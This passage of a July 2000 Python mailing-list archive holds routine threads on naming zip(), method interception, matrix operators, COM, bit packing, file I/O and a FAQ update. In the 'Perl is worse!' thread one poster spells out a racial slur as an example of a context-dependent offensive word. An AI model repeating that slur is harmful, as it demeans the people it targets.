  for i,j in parallel([4,5,6],[7,8,9]):
    print i,j

or-is-that-too-obvious'ly y'rs
-b

Al Christians wrote:
> 
> Suggestions: dice() (as in slice and dice), crossPollinate(),
> crossTupulate(), affiliate(), affiance(), or yoke(), as when columns
> of horses or mules are yoked side-by-side.
> 
> Al
> 
> Ben Wolfson wrote:
> >
> > On 21 Jul 2000 19:33:31 GMT, aahz at netcom.com (Aahz Maruch) wrote:
> >
> > >In article <3977C2A8.6D8F7586 at my.signature>,
> > >Greg Ewing  <see at my.signature> wrote:
> > >>"J?rgen Hermann" wrote:
> > >>>
> > >>> merge() is the best yet, since it's a common (programming) term with a
> > >>> well-defined meaning.
> > >>
> > >>But it's a DIFFERENT meaning!
> > >>
> > >>merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])
> > >
> > >No, that's only when "merge" is a modifier for "sort".
> >
> > I would expect merge() called on n lists to return a list consisting of all
> > its arguments concatenated.
> >
> > --
> > Barnabas T. Rumjuggler
> >
> > My despair has long since been ground up fine and is no more than the daily
> > salt and pepper of my life.
> >  -- Russell Hoban, _Turtle Diary_
> --
> http://www.python.org/mailman/listinfo/python-list



From thomas at cintra.no  Thu Jul 20 08:41:16 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 20 Jul 2000 12:41:16 GMT
Subject: Intercept methods/raise exception
Message-ID: <3978f242.25036009@news.online.no>

Hi,

Is there a way to define a method in a class that is called each time
every other method is called in that class, and based on a attribute,
raise an exception or let the method-class go thru?

If I could raise some exception each time an object was accessed no
matter what, that would be great too, but I guess that`s stretching it
a bit far.

I need this to control a huge object that's manipulated in many ways,
not always by it's own methods, sometime by altering attributes
directly. If I could trap any change in an objects properties or use
of its methods, that would be the best thing.

Thanks.

Thomas


From SBrunning at trisystems.co.uk  Thu Jul 27 07:10:11 2000
From: SBrunning at trisystems.co.uk (Simon Brunning)
Date: Thu, 27 Jul 2000 12:10:11 +0100
Subject: Documentation...
Message-ID: <31575A892FF6D1118F5800600846864D4C70C2@intrepid>

> What exactly is Python? What are its aims, what is it used for?
> Moreover, where could I get some (preferably electronic)
> books/documents/tutorials for learning the language?
> Thanks!
> 
Start at <http://www.python.org>, and all will be revealed...

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk






-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.



From grey at despair.rpglink.com  Sun Jul 30 04:57:27 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 08:57:27 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com> <m2wvi4ruwm.fsf@mycroft.actrix.gen.nz>
Message-ID: <slrn8o7rbi.g3b.grey@teleute.rpglink.com>

On 30 Jul 2000 18:31:37 +1200, Paul Foley <see at below> wrote:
>Isn't it?  Are you sure about that?

    Considering some of the conversations I've sat in on with my friends, no,
it isn't in some contexts.  I can provide more examples if you /really/ want
to be that intentionally obtuse.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From thomas at xs4all.net  Tue Jul 11 12:18:37 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 11 Jul 2000 18:18:37 +0200
Subject: off-topic, "Compiler" technology
In-Reply-To: <396B2AC5.971E9D13@t-online.de>; from aotto@t-online.de on Tue, Jul 11, 2000 at 04:10:13PM +0200
References: <396ABBD7.8715465D@t-online.de> <8kf2jf$sqc$1@desig-bs01-s04.adtranzsig.de> <p6qog4424pc.fsf@informatik.hu-berlin.de> <396B2AC5.971E9D13@t-online.de>
Message-ID: <20000711181837.A7340@xs4all.nl>

On Tue, Jul 11, 2000 at 04:10:13PM +0200, Andreas Otto wrote:

>   1) I released a TCL "Compiler" which has a significant speedup

TCL != Python.

There already is a Python-to-C compiler that converts Python to C, but it
uses Python's existing datatypes, so it's more of a simple translation than
a real compilation pass. It's not that simple to make it more efficient and
keep Pythons' current extensibility and introspection abilities.

>   3) "Compiler" finds all of the syntax error in the source-code
>      at compile-time ( tested with large real-world TCL application's )

The Python bytecode compiler already does this.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From hzhu at localhost.localdomain  Mon Jul 17 02:12:35 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 06:12:35 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com> <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com> <slrn8n1pv6.utl.gjm11@g.local>
Message-ID: <slrn8n594t.n88.hzhu@rock.localdomain>

On Sat, 15 Jul 2000 23:38:30 +0100, Gareth McCaughan <gjm11 at g.local> wrote:
>Huaiyu Zhu wrote:
>> How would you write this in list compresension (in less than 10 lines)?
>> 
>> B*(sin(A*x+b).*(A*y)/3)/C
>> 
>> Note that * is matrix multiplication and .* is elementwise.  Note that C is
>> a matrix so the / is matrixwise.  If you want to write everything as for
>> loops it takes at least 30 lines, without any decent error analysis.
>
>    B*[p*q/3 for p in A*x+b, q in A*y]/C

Someone else had already given a similar answer.  But more work is needed
for such things to work:

The x, b and y could be matrices, so p and q need to be double loops.

The [ ... ] need to be a double lists.  Is list comprehension defined for
this?

B*[..]/C would not work without a cast from double list to matrix.

For all these errors, what would the error messages look like?  Do they
involve the dummy indices p and q?  A previous answer also reused the name b
for the dummy variable, which would make the error even more obscure.

Besides, the main point of using matrix is to be free from specifying loops
over indices with dummy names.  Compare this double loop with extra syntax
with a single operator .* and you may wonder why this is considered at all.

Since this is going way off original topic I'll stop here.  I admit that I'm
at fault to a large extent.

As to the question of what's the precedence of the proposed .* like
operators, they are the same as their ordinary counterparts, because they
become identical when the operands are numbers or 1x1 matrices.


Huaiyu


From olivierS.dagenaisP at canadaA.comM  Tue Jul 18 21:35:56 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 19 Jul 2000 01:35:56 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
References: <963764534.1476580377@news.demon.co.uk> <Mvlc5.87920$W35.2015766@news20.bellglobal.com> <3974F1FA.5D4A9F40@boi.hp.com>
Message-ID: <0C7d5.1156$8Q3.57116@news20.bellglobal.com>

I'm sure that makes perfect sense for unix folk, but try marketing a product
name that differs only to another by the case one of the letters....

- "We make an excellent product called 'Visual python', with a small p."
- "Errr..  But we already are using visual python"
- "Maybe, but you haven't tried our 'Visual python', with a small p, now,
have you?"
- "Listen:  I already told you we are using visual python, and quit talking
about your small peas!"
- "But, our product is different!  Our name is different!  It has a small
p!!"
- "I don't care if you ship peas with your visual python, go away!"
- <sigh>

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Bill Anderson" <banderson at boi.hp.com> wrote in message
news:3974F1FA.5D4A9F40 at boi.hp.com...
> Olivier Dagenais wrote:
> >
> > You may want to hook up with the guys at ActiveState for your Win32
version
> > of VisualPython:
> >
> > http://www.activestate.com/Products/VisualPython.html
> >
> > Unless both of you came up with the name "Visual Python" to mean totally
> > different things??
>
> <tongue_in_cheek>
> Easy:
> "Visual Python"
>  -and-
> "Visual python"
>
> --
> Bill Anderson (ARC)    Unix/Linux System Administrator
> HPSO Engineering Productivity Team     Thursday, July 13, 2000
> Random Quote:
>   A bug in the hand is better than one as yet undetected.




From rishi at enteract.com  Fri Jul 21 17:53:44 2000
From: rishi at enteract.com (remove Rishi Ed)
Date: Fri, 21 Jul 2000 21:53:44 GMT
Subject: Win95 python programs no longer start
Message-ID: <8lagpa$23m8$1@news.enteract.com>

At some point, when I double click at .py program, nothing happens. It used to 
start up.  Windows knows about python and the .py extension, but it doesn't 
start up the program. 

any ideas?

Ed


From cpaulicka at 8cs.com  Tue Jul 25 17:14:26 2000
From: cpaulicka at 8cs.com (Christopher Paulicka)
Date: Tue, 25 Jul 2000 14:14:26 -0700
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
Message-ID: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com>

Hello,

I am using PythonWin, and the win32com extension.  Using genpy, I have made
class wrappers for the appropriated type library.

QUESTION ONE:
How to QueryInterface for a new dispatch interface?

For example:

>>>    import win32com.client
>>>    d = Dispatch("MyCoolThing.App")
>>>    s = d.GetOtherThing()

# Unfortunately, s is of class IMyInterface, and I want it to
# be for class IMyInterface2.
# The class exists in the genpy.
# How do I do the following type of thing?

>>>    s2 = s.QueryInterface("IMyInterface2")

# The above does not work.  Heh.  Neither does...

>>>    s2 = s.QueryInterface(IMyInterface2.CLSID)

# Is there a trivial way to do it?

QUESTION TWO:
How to subclass a class based on Dispatch?  Can it work at all?

For example:
>>>    import win32com.client
>>>    d = Dispatch("MyCoolThing.App")
>>>    s = d.GetOtherThing()

# s has a method, called SetCallback(), that takes a
#  Dispatch interface to IThingCallback.  There is a class in my
# genpy module called IThingCallback.
#  How can I do the following?  (Is it possible somehow?)

>>>    class MyCallback(IThingCallback):
                def Go(self, data):
                    print data
>>>    c = MyCallback()
>>>    s.SetCallback(c)


Thanks for all your help,

Christopher Paulicka




From mwh21 at cam.ac.uk  Wed Jul 19 18:26:33 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 19 Jul 2000 23:26:33 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com>
Message-ID: <m34s5lpxie.fsf@atrus.jesus.cam.ac.uk>

Bjorn Pettersen <bjorn at roguewave.com> writes:

> Aahz Maruch wrote:
> > 
> > In article <tOid5.135713$HK2.2425898 at news20.bellglobal.com>,
> > Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
> > >How about:
> > >
> > >"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> > >"collect", "pick", "lineup"???
> > 
> > I like "merge".
> 
> +1 from me too :-)

However, it looks very much as though it's going to be called "zip".

move-along-folks-nothing-to-see-here-ly y'rs
M.

-- 
  ... but I guess there are some things that are so gross you just have
  to forget,  or it'll destroy something within you.  perl is the first
  such thing I have known.              -- Erik Naggum, comp.lang.lisp


From gmcm at hypernet.com  Sun Jul  2 23:40:57 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 03:40:57 GMT
Subject: Referring to method of a class without instance?
References: <8jou05$mei$1@nnrp1.deja.com>
Message-ID: <8F65FB46Fgmcmhypernetcom@199.171.54.155>

gmol at my-deja.com wrote in <8jou05$mei$1 at nnrp1.deja.com>:

>In my application I use the observer/observable pattern..question
>I hate duplicating the information of what was changed by making up a
>new message type (global message variables or strings) and using tonnes
>of if-else clauses.  I'd rather just tell my observer which method was
>called and the arguments passed to it.  (I.e. I have atoms in 3d space,
>when setPosition(position) is called I would just like to tell whoever
>is interested that setPosition was called with the argument position))
>
>Problem, how do I refer to the method of a given class without making an
>instance?  Like suppose I notify my observers by giving the funciton
>address and arguments, I would like the observer to have a dictionary
>whose keys are methods
>
>class Atom:
>....
>
>
>class myobserver:
>...
>
>   updateTable={....
>       Atom.setPosition:handle_A_setPositio
>    }
>...
>
>Hmm I have also just realized that given
>class A:
> def __init__(self...)
>
>a=A()
>
>a.init is not equal to A.__methods__['__init__']
>
>Hmmm I thought that would be the worst way I could do it, but I guess I
>couldn't if I wanted to...

That's right: a.__init__ is a bound method, while A.__init__ is an unbound 
method. You can get to the latter from the former by:
 self.__class__.__init__
or more directly (of course) 
  A.__init__

But you might be headed for trouble. For example, you might later add a 
class Molecule with a setPosition method. Now you have to go through all 
your observers and update their dispatch tables. IOW, you're tightly 
coupling your observers to your observables.

OTOH, A.__init__ and a.__init__ both have __name__ attributes with 
singularly unexciting values <wink>. Then you just have to be sure you 
don't get sloppy and write Molecule.setPos(....).

Of course, since there's no special name for "the currently executing 
method", in effect you're still maintaining a global table of message 
identifiers.

- Gordon


From tim_one at email.msn.com  Sun Jul  2 16:17:07 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 2 Jul 2000 16:17:07 -0400
Subject: Bug in math.frexp?
In-Reply-To: <20000630221759.A1965@xyz.donetsk.ua>
Message-ID: <LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com>

[Kirill Simonov]
> $ python
> Python 1.6a2 (#2, Jun 24 2000, 12:18:54)  [GCC egcs-2.91.66
> 19990314/Linux (egcs-1.1.2 release)] on linux2
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> import math
> >>> print math.frexp.__doc__
> frexp(x)
>
> Return the matissa and exponent for x. The mantissa is positive.
> >>> math.frexp(-1)
> (-0.5, 1)
>
> In this example the mantissa is negative.

The docs are wrong.  I just checked in a repaired version of mathmodule.c.
Fred, would you please get the truth into the Library Reference Manual's
math module docs too?

C:\pysrc\python\dist\src\PCbuild>python
Python 2.0b1 (#0, Jul  1 2000, 11:28:35) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Copyright 1995-2000 Corporation for National Research Initiatives (CNRI)
>>> import math
>>> print math.frexp.__doc__
frexp(x)

Return the matissa and exponent of x, as pair (m, e).
m is a float and e is an int, such that x = m * 2.**e.
If x is 0, m and e are both 0.  Else 0.5 <= abs(m) < 1.0.
>>> math.frexp(0), math.frexp(-2), math.frexp(4)
((0.0, 0), (-0.5, 2), (0.5, 3))
>>>





From peter at schneider-kamp.de  Sun Jul 23 03:57:58 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 07:57:58 +0000
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com> <397A7BB5.A6024F70@san.rr.com>
Message-ID: <397AA586.92DFFEFD@schneider-kamp.de>

Courageous wrote:
> 
> Say for example I want to increase or decrease R,
> G, or B values. Or, say, I want to convert to 32
> bit color bitmaps?

>>> def toRGB(v):
...   i = (ord(v[1]) << 8) + ord(v[0])
...   return [i >> 11, (i >> 5) & 63, i & 31]
...
>>> def fromRGB(rgb):
...   i = (rgb[0] << 11) + (rgb[1] << 5) + rgb[2]
...   return chr(i & 255)+chr(i >> 8)
...

This converts a two character string into an rgb triple
and back.

Hope that helps,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From cobrien at Radix.Net  Tue Jul 25 18:35:01 2000
From: cobrien at Radix.Net (Cary O'Brien)
Date: 25 Jul 2000 18:35:01 -0400
Subject: Python and Tuxedo
Message-ID: <8ll4ml$fj0$1@saltmine.radix.net>

Does anyone have any Python libraries for use with Tuxedo?  Client
and Server side, I guess.

-- cary



From ge at nowhere.none  Fri Jul 14 09:16:12 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 14 Jul 2000 13:16:12 GMT
Subject: Simple File I/O Question
References: <396DF13A.97CC3F5E@bioeng.ucsd.edu> <4ymb5.894$6E.112638@ptah.visi.com> <8klm17$1se@quail.swcp.com>
Message-ID: <woEb5.1063$6E.145574@ptah.visi.com>

In article <8klm17$1se at quail.swcp.com>, Charlie Sorsby wrote:
>In article <4ymb5.894$6E.112638 at ptah.visi.com>,
>Grant Edwards <ge at nowhere.none> wrote:
>= In article <396DF13A.97CC3F5E at bioeng.ucsd.edu>, Curtis Jensen wrote:
>= >I know this should be simple, but....  I have a variable that holds an
>= >int.  I want to write it to a file.  The following code:
>= >
>= >var = 5
>= >f = open('foo','w')
>= >f.write(var)
>= >
>= >gives this error:
>= >TypeError: read-only buffer, int
>= 
>= the write method only accepts strings as parameters, so you've
>= got to convert whatever you want to write to a string before
>= passing it to write()
>= 
>= try this:
>= 
>=   f.write(str(var))
>=     or
>=   f.write("The value of 'var' is %d\n" % var)
>
>If I may add my own question to that of the original poster:
>
>What if one needs to send an int to a device that will use it
>and needs it to be an int not a string?  E.g. suppose I need to
>send a hex int via the serial port (/dev/cuaa0) to some device?  Is
>this not possible in python?

To write the hex values 0x12 0x34 0x56:

f.write('\x12\x43\x56')

-- 
Grant Edwards                   grante             Yow!  FROZEN ENTREES may
                                  at               be flung by members of
                               visi.com            opposing SWANSON SECTS...


From Vladimir.Marangozov at inrialpes.fr  Fri Jul 14 20:14:38 2000
From: Vladimir.Marangozov at inrialpes.fr (Vladimir Marangozov)
Date: Sat, 15 Jul 2000 02:14:38 +0200
Subject: ?Neil Schemenauer's GC patch in python1.6?
References: <396F3FA6.6EBC62BA@email.sps.mot.com>
Message-ID: <396FACEE.E28E79E2@inrialpes.fr>

Norman Shelley wrote:
> 
> Is Neil Schemenauer's GC patch scheduled to be in python1.6?
> 

It's already in the CVS tree, so you might want to try it yourself.
I will help you tracking cycles. And it does eliminate cyclic trash
as one might expect <wink>.

However, this code is still young and in its currents state it
introduces both space and time overheads. This is probably not
acceptable for everyone in a standard setup. Things are slightly
worse than that, though. We're still unclear on *how* much overhead
the GC-enabled interpreter introduces, compared to its GC-disabled
counterpart.

This is the main reason explaining why the collector will eventually
be disabled by default (so you would need to enable it explicitely).
However, we're much interested in feedback. So you might see a beta
release with GC-enabled. In the meantime, we surely plan to improve it.
It may eventually remain enabled for the final release, but don't hold
your breath for this.

So don't despair <wink>. Grab the CVS snapshot right now and test it.
You're also invited to participate actively in the beta-test cycle
whenever the first beta comes out.

if-it's-in-cvs-it'll-stay-there-for-some-time-ly y'rs
-- 
       Vladimir MARANGOZOV          | Vladimir.Marangozov at inrialpes.fr
http://sirac.inrialpes.fr/~marangoz | tel:(+33-4)76615277 fax:76615252


From gherman at darwin.in-berlin.de  Sat Jul 15 14:26:41 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Sat, 15 Jul 2000 20:26:41 +0200
Subject: Docs for __init__.py?
References: <YKWb5.19749$MT.506147@news-west.usenetserver.com>
Message-ID: <3970ACE1.41E3CC32@darwin.in-berlin.de>

Matthew Cline wrote:
> 
> The documentation for __init__.py at python.org seems a little
> sparse.  Is there anything that goes into more depth?  Other
> than reading the Python source code?
> 
> Specifically, does the package name have to corespond to the
> name of the directory that __init__.py is in?  Or is there
> some way for __init__.py to say "No, *this* is the name for the
> package?"

Try Guido's tutorial which contains some sections about
the usage of __init__.py files.

Dinu

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")


From cjc26 at nospam.cornell.edu  Sun Jul 23 21:07:07 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Mon, 24 Jul 2000 01:07:07 GMT
Subject: iterating over lines in a file
References: <LNBBLJKPBEHFEDALKOLCGEHFGLAA.tim_one@email.msn.com>
Message-ID: <slrn8nn5t5.qhg.cjc26@synecdoche.sowrong.org>

* Tim Peters <tim_one at email.msn.com> menulis:
| 
| > Ugh, you're right (I checked fileobject.c to make sure).  That makes
| > readlines() a lot less useful than I thought it was..:(
| 
| How so?  It *can't* take the size argument exactly as given, lest it return
| a partial line at the end of the returned list more often than not.  Most
| people would consider it "a lot less useful" then <wink>.

No, what I meant was that I thought readlines() always reads the entire
file, whether you specify a size argument or not, and so if you were
worried about "for line in file.readlines():" eating too much memory,
you could just do "for line in file.readlines(8192):" instead, and it
would read the entire file using only an 8k buffer.  At least, that's
what I thought the library reference was saying..but the source code
proved me wrong :)

I do agree, though, that the current behavior of readlines() is quite
useful for it's >intended< purpose ;)


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From hinsen at cnrs-orleans.fr  Fri Jul 28 09:45:04 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 28 Jul 2000 15:45:04 +0200
Subject: New operators needed? (was Re: Discussion: new operators for numerical computation)
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr> <8lqbqu$uhm$1@slb2.atl.mindspring.net> <cpu2dae41d.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <m3n1j2cqsf.fsf@chinon.cnrs-orleans.fr>

Guido van Rossum <guido at beopen.com> writes:

> By the way, Konrad (hi!) -- what's the status of that reworking?  I've
> totally lost track of NumPy.  The SourceForge project doesn't seem
> very active.  So how is this going?  Is it going anywhere?

It's Travis Oliphant who started this reworking, I am not really
familiar with the current state of affairs. It seems the main problem
is lack of manpower, as usual. I just became a NumPy developer, and I
hope to find some time to work on it in the near future.

If anyone out there wants to see real progress, reduce the discussion
of operators a bit and contribute to the development NumPy and MatPy
instead!
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From djc at object-craft.com.au  Tue Jul  4 23:18:30 2000
From: djc at object-craft.com.au (Dave Cole)
Date: 05 Jul 2000 13:18:30 +1000
Subject: Undocumented regex behaviour in re module
Message-ID: <m3itulmfi1.fsf@vole.object-craft.com.au>

Consider the following program:
- - re_test.py - - - - - - - - - - - - - - - - - - - - - - - - - -
import re

text = '''<html>
  <head>
    <title>Browse <?table?></title>
  </head>
  <body>
    <h1>Browse <?table?></h1>

      <?browse start=0 num=25?>

  </body>
</html>
'''

tags = re.compile(r'<\?(\w+)(\s+\w+=\w+)*\?>', re.I | re.M)
match = tags.search(text)
while match:
    print text[match.start():match.end()], '=>', match.groups()
    match = tags.search(text, match.end())
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

The idea here is that I want to be able to extract the special tag
names and their attributes.  Everything work fine, except for tag:

        <?browse start=0 num=25?>

The match object only saves the last attr=value matched.  The only way
that I think of to get all of the attr=value returned is to change the
regex to:

        <\?(\w+)((?:\s+\w+=\w+)*)\?>

Unfortunately, that is not as useful as I would like since it returns
a string which needs further processing: ' start=0 num=25'

Any hint / explanation at this point would be gratefully accepted.

- Dave


From mwh21 at cam.ac.uk  Sat Jul 22 06:31:03 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 22 Jul 2000 11:31:03 +0100
Subject: Waiting for Threads to Stop [silly version]
References: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net> <8l705c$uop$1@nntp9.atl.mindspring.net> <irigns8q37k20qhc2r4labeorg5bqaklbu@4ax.com>
Message-ID: <m366pyo3rs.fsf@atrus.jesus.cam.ac.uk>

robin at illusionsexeculink.com writes:

> Personally, I'm waiting for this "zip vs. braid" thread to stop.
> 
> Any module to help me there? <grin>

import bdfl
bdfl.return_from_monterey()
bdfl.proclaim_judgement()

;-)
M.

-- 
  Two things I learned for sure during a particularly intense acid
  trip in my own lost youth: (1) everything is a trivial special case
  of something else; and, (2) death is a bunch of blue spheres.
                                             -- Tim Peters, 1 May 1998


From fiona at sitegnome.com  Sun Jul  2 21:10:20 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 3 Jul 2000 01:10:20 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 2nd, 2000
Message-ID: <20000703011020.14359.qmail@synop.com>

Hi Guys.

The FAQTs knowledge base continues to grow.  Currently 265 questions and 
answers.

http://python.faqts.com

Cheers,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
When executing a command with os.system how can I capture the output into a python variable?
http://www.faqts.com/knowledge-base/view.phtml/aid/4152
-------------------------------------------------------------
Fiona Czuczman
Mark Hammond, Grant Edwards

You want "popen".  For non-windows platforms, "os.popen" is where you 
can find it.  For Win32 systems, you need the win32 extensions, and
"win32pipe.popen".

.........

The commands module has a nice function that runs a program and returns 
the exit status and output as a tuple.


-------------------------------------------------------------
Is there a way of making a MS-DOS box recognise the Python script as an executable file so I can just use the name "script.py"?
http://www.faqts.com/knowledge-base/view.phtml/aid/4153
-------------------------------------------------------------
Fiona Czuczman
Mark Hammond

Under Windows NT or Win2k, you can use the PATHEXT environment variable.
Simply add ".py" to the semi-colon sep'd list of extensions, and off you
go!


-------------------------------------------------------------
What is the best way of setting default options of widgets?
http://www.faqts.com/knowledge-base/view.phtml/aid/4151
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

You can use an option database. If you create a file called optionDB 
with for example the following kind of entries:

*font:                   Times New Roman
*Button*foreground       blue
*foreground              black

You can then apply these via

root.option_readfile('optionDB')






From fgeiger at datec.at  Tue Jul 25 12:26:07 2000
From: fgeiger at datec.at (Franz GEIGER)
Date: Tue, 25 Jul 2000 18:26:07 +0200
Subject: Python on Win32: How to freeze? How to hide the system console?
References: <8la2o6$hfu$1@pollux.ip-plus.net> <uittzz5gt.fsf@ctwd0143.fitlinxx.com>
Message-ID: <8lkev6$ott$1@pollux.ip-plus.net>

Thank you, David,

for your comprehensive answer!

Regards
Franz GEIGER


David Bolen <db3l at fitlinxx.com> schrieb in im Newsbeitrag:
uittzz5gt.fsf at ctwd0143.fitlinxx.com...
> "Franz GEIGER" <fgeiger at datec.at> writes:
>
> > New to Python I have 2 q's:
> >
> > 1) Does anybody "freeze" his Python scripts dev'ed on and for Windows
> > machines? How? Is Tkinter code freezed too? What's the result? A single
EXE
> > file?
>
> I don't do freezes myself, but if you're just trying to come up with a
> clean distribution mechanism there are some other alternatives.  The
> one I prefer is using an installer package from Gordon McMillan:
>
> http://www.mcmillan-inc.com/install1.html
>
> This automatically tracks down the various dependencies of your script
> and puts it all together (along with some very nice archive formats
> for the various library routines) into an executable that
> self-extracts itself when it runs.  You generally end up with the exe,
> a pyz for python library files a few standlone files (like
> exceptions.pyc) and any external modules (dll/pyd).  That collection
> of files is all you need to run your application.
>
> The installer package has a simple installation script (console based
> - prompts for a directory and unpacks), but you can combine the
> installer with a Windows installation package (on the free side, for
> example, Inno Setup:
>
> http://www.jrsoftware.org
>
> and you end up with your Python application looking just like a native
> installed Windows application, and being totally self-contained within
> its installation directory.  Users install/uninstall it just like any
> other Windows application.
>
> > 2) How can I hide the system console on a Windows machine running a
Python
> > script using Tkinter?
>
> Use pythonw rather than python to start your script.
>
> (If using the installer package, it has a configuration file option to
> use a "runw" module to start the script rather than "run" for the same
> purpose).
>
> --
> -- David
> --
> /-----------------------------------------------------------------------\
>  \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
>   |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
>  /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
> \-----------------------------------------------------------------------/




From see at below  Sun Jul 30 02:31:37 2000
From: see at below (Paul Foley)
Date: 30 Jul 2000 18:31:37 +1200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com>
Message-ID: <m2wvi4ruwm.fsf@mycroft.actrix.gen.nz>

On Sun, 30 Jul 2000 02:21:54 GMT, Steve Lamb wrote:

> On Sat, 29 Jul 2000 22:18:31 GMT, Joshua Macy <amused at webamused.com> wrote:
>> So it's not the term itself you find offensive, but the way it's
>> used?  It sounds to me like what you're objecting to is the mere fact
>> that some people dislike the behavior that Larry Wall calls "automagic",
>> not that they use the same term that he does to describe that behavior.

>     What, is this forum a place where context means nothing and everything,
> including natural language, has to be typed to death.  Let me give you a basic
> example.  Nigger.  Offensive or not?  Hmm, tell me, is it?

Words in and of themselves are just words; it's the _meaning_ that you
